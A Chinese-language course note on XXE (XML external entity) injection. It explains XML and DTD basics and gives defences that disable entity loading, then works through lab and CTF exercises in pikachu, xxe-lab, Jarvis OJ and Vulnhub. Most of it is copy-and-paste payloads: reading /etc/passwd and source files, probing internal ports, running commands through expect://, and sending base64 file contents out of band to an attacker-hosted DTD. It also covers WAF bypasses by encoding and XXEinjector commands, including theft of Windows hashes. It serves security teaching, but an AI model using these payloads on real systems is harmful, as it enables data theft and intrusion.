39:WEB漏洞-XXE&XML之利用检测绕过全解
思维导图
知识点
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML与HTML对比
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
- HTML旨在显示信息,而XML旨在传输信息。
Xml典型代码:
<!--XML声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD可被成行地声明于XML文档中,也可作为一个外部引用
(1)内部的DOCTYPE声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD实体
(1)内部实体声明
<!ENTITY 实体名称 "实体的值">
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">
(3)参数实体声明
<!ENTITY %实体名称 "实体的值">
<!ENTITY %实体名称 SYSTEM "URI">
XXE漏洞的修复与防御方案-PHP,Java,Python-过滤及禁用
方案1-禁用外部实体
PHP: libxml_disable_entity_loader(true); Java: DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-过滤用户提交的XML数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
补充-各脚本支持的协议
本课重点:
- 案例1:pikachu靶场XML数据传输测试-回显,玩法,协议,引入
- 案例2:xxe-lab靶场登录框xml数据传输测试-检测发现
- 案例3:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
- 案例4:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
- 案例5:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
案例1:pikachu靶场XML数据传输测试-回显,玩法,协议,引入
存在xxe的情况下:
玩法1-读文件
如下脚本,将其复制粘贴,提交,成功读取pikachu服务器某文件内容
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x> //xxe为变量,读取test.txt //打印出来 //用file协议读指定路径的文件
显示结果:
玩法2-内网探针或攻击内网应用(触发漏洞地址)
如下脚本,将其复制粘贴,提交,返回为空。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>
返回为空,说明内网中192.168.0.103服务器上,index.txt文件是存在的,也可以说8081端口是开放的,因此这里这个xxe漏洞,可以实现内网探针。
为什么这里返回为空,说明index.txt文件是存在的?因为如下测试显示,改为不存在的1132323.txt后,服务器返回一行报错信息。
玩法3-RCE
读CASE是在安装expect扩展的PHP环境里执行系统命令
<?xml version="1.0" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id"> ]> <x>&xxe;</x>
由于本地环境未安装expect扩展,因此该玩法未测试。
玩法4-引入外部实体dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x> //引入外部实体dtd,dtd就是xml的后缀,识别为xml格式 //如果设置了禁止外部实体引用,将会失效
可以在远程攻击者服务器(127.0.0.1)上保存的evil2.dtd写上:
<!ENTITY send SYSTEM "file:///d:/test.txt">
引入外部实体dtd,核心代码在drd文件中,一方面是为了绕过一些服务器的限制,另一方面是为了自定义一些攻击代码,类似于远程文件包含漏洞。如下图,成功回显服务器上文件内容。
玩法5-无回显-读取文件
pikachu注释掉回显代码,构造无回显的环境
如下脚本
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt"> <!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd"> %dtd; %send; ]>
本地192.168.0.103上构造test.dtd:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;
此时把脚本复制粘贴,提交,服务器不再返回任何信息
本地开启日志,查找日志就可以看到test.txt数据了。
将数据base64解码,得到原始数据。
玩法6-协议-读文件(绕过)
1、ENTITY``SYSTEM``file等关键词被过滤-->使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
2、http被过滤-->可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
3、绕过WAF保护的XXE-->
- 方法1:文档中的额外空格
- 方法2:格式无效
- 方法3:外来编码(Exotic encodings)
- 方法4:在一个文档中使用两种类型的编码
参考:
https://www.cnblogs.com/20175211lyz/p/11413335.html
http://www.cl4y.top/xxe%e7%ac%94%e8%ae%b0/
https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/
案例2:xxe-lab靶场登录框xml数据传输测试-检测发现
如何检测发现xxe漏洞?
- 1.提交的数据包含xml格式如: <forgot><username>admin</username></forgot>
- 2.请求头中如:Content-Type: text/xml或Content-Type: application/xml
- 3.盲猜:更改content-type值application/xml看返回
靶场下载地址:https://github.com/c0ny1/xxe-lab
以xxe-lab靶场登录框为例,使用burp抓包时,可以右击send to Spider自动爬行网站,所有的网站数据包会在Proxy-History模块显示。
此时可以全局搜索xml关键字
也可以查看MIME type类型是否为XML,MIME type类型为XML对应Content-Type: text/xml或Content-Type: application/xml,对应内容形式如下:<user><username>2</username><password>2</password></user>
找到xxe漏洞点后,使用如下脚本攻击测试,成功读取到服务器上文件内容。
<?xml version = "1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/test.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user>
显示如下
案例3:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
真题地址:http://web.jarvisoj.com:9882/
抓包如下,数据包使用的是json格式,此处使用盲猜的方法检测是否存在xxe漏洞。
更改请求数据格式为:application/xml,使用以下脚本,成功读取服务器文件passwd内容。
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
案例4:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
很多靶场镜像的网站:https://vulnhub.com
本案例靶场下载地址:https://download.vulnhub.com/xxe/XXE.zip
利用过程:扫描IP及端口-->扫描探测目录-->抓包探针xxe安全-->利用xxe读取源码-->flag指向文件-->base32 64解密-->php运行-->flag
<1>在本机虚拟机环境安装靶场,靶场安装后,由于我们不知道用户名密码,无法进入(一般镜像环境不会告诉你用户名密码,防止你进入后直接查看后台源码);
<2>同时在本机虚拟机环境安装安装忍者系统,打开忍者系统,查看自身IP为192.168.64.135;
<3>在忍者系统扫描同网段:nmap -sS 192.168.64.1/24,成功得到靶机的IP及开放端口。
<4>在浏览器打开如下
<5>由于这是一个web网站,我们可以尝试扫描web目录,或者直接查看robots.txt找到关键目录。
<6>进入/xxe/目录,发现是个登录框。
<7>尝试抓包查看,发现登录参数采用xml格式传输,猜测这里有xxe漏洞。
<8>尝试攻击一下,利用以下脚本读取xxe.php源码。
<?xml version="1.0" ?> <!DOCTYPE r [ <!ENTITY r ANY > <!ENTITY ap SYSTEM "php://filter/read=convert.base64-decode/resource=xxe.php"> %a; ]> <root><name>≈</name><password>hj</password></root>
成功回显
PS:这里为什么使用php://filter协议而不是使用file://协议呢?原因是php://filter协议读取文件时,不需要文件的绝对地址,而file://协议需要文件的绝对地址。
<9>将xxe.php改为admin.php,成功读取admin.php源码
<10>base64解码源代码后,分析,成功找到用户名密码。
<11>密码是md5散列后的值,将其解密后得到原始密码为admin@123,使用用户名密码登录网站。
<12>登录成功后,显示如下页面,点击flag。
<13>点击flag后,跳转到flagmeout.php页面,但是显示无法打开该页面。
<14>再次尝试读取flagmeout.php页面源代码。
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ENTITY r ANY >
<!ENTITY ap SYSTEM "php://filter/read=convert.base64-decode/resource=./flagmeout.php">
%a;
]>
<root><name>≈</name><password>hj</password></root>
这里由于flagmeout.php文件在根目录下,而不是在/xxe/目录下,因此读取时需要写为./flagmeout.php。
成功回显
<15>base64解码源代码,找到加密后的flag。
<16>分析flag,发现是base32编码,将其在线解码,得到字符串如下。
<17>该字符串是base64编码,再将其base64解码,成功得到flag地址:/etc/.flag.php
<18>继续使用脚本读取该文件
<19>base64解码如下,分析,这是一段php代码。
<20>将这段PHP代码在线运行一下,成功得到flag。
案例5:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。
运行前提:Ruby运行环境,建议在kali环境下运行。
基本参数详解
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2) --file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt) --path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc) --brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt) --logger 记录输出结果。 --rhost 远程主机IP或域名地址。(--rhost=192.168.0.3) --rport 远程主机的TCP端口信息。(--rport=8080) --phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。 --netdoc 使用netdoc协议。(Java). --enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445) --hashes 窃取运行当前应用程序用户的Windows哈希。 --expect 使用PHP expect扩展执行任意系统命令。(--expect=ls) --upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt) --xslt XSLT注入测试。 --ssl 使用SSL。 --proxy 使用代理。(--proxy=127.0.0.1:8080) --httpport Set 自定义HTTP端口。(--httpport=80) --ftpport 设置自定义FTP端口。(--ftpport=21) --gopherport 设置自定义gopher端口。(--gopherport=70) --jarport 设置自定义文件上传端口。(--jarport=1337) --xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337) --test 该模式可用于测试请求的有效。 --urlencode URL编码,默认为URI。 --output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt) --timeout 设置接收文件/目录内容的Timeout。(--timeout=20) --contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20) --fast 跳过枚举询问,有可能出现结果假阳性。 --verbose 显示verbose信息。
XXEinjector使用样例
枚举HTTPS应用程序中的/etc目录: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl 使用gopher(OOB方法)枚举/etc目录: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher 二次漏洞利用: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt 使用HTTP带外方法和netdoc协议对文件进行爆破攻击: ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc 通过直接性漏洞利用方式进行资源枚举: ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK 枚举未过滤的端口: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all 窃取Windows哈希: ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes 使用Java jar上传文件: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf 使用PHP expect执行系统指令: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls 测试XSLT注入: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt 记录请求信息: ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
XXEinjector下载地址:https://github.com/enjoiz/XXEinjector
演示:下载,进入目录,执行命令(此处环境为忍者系统)
忍者系统还集成了很多xxe的payload,可以供我们直接利用。
参考:https://www.cnblogs.com/bmjoker/p/9614990.html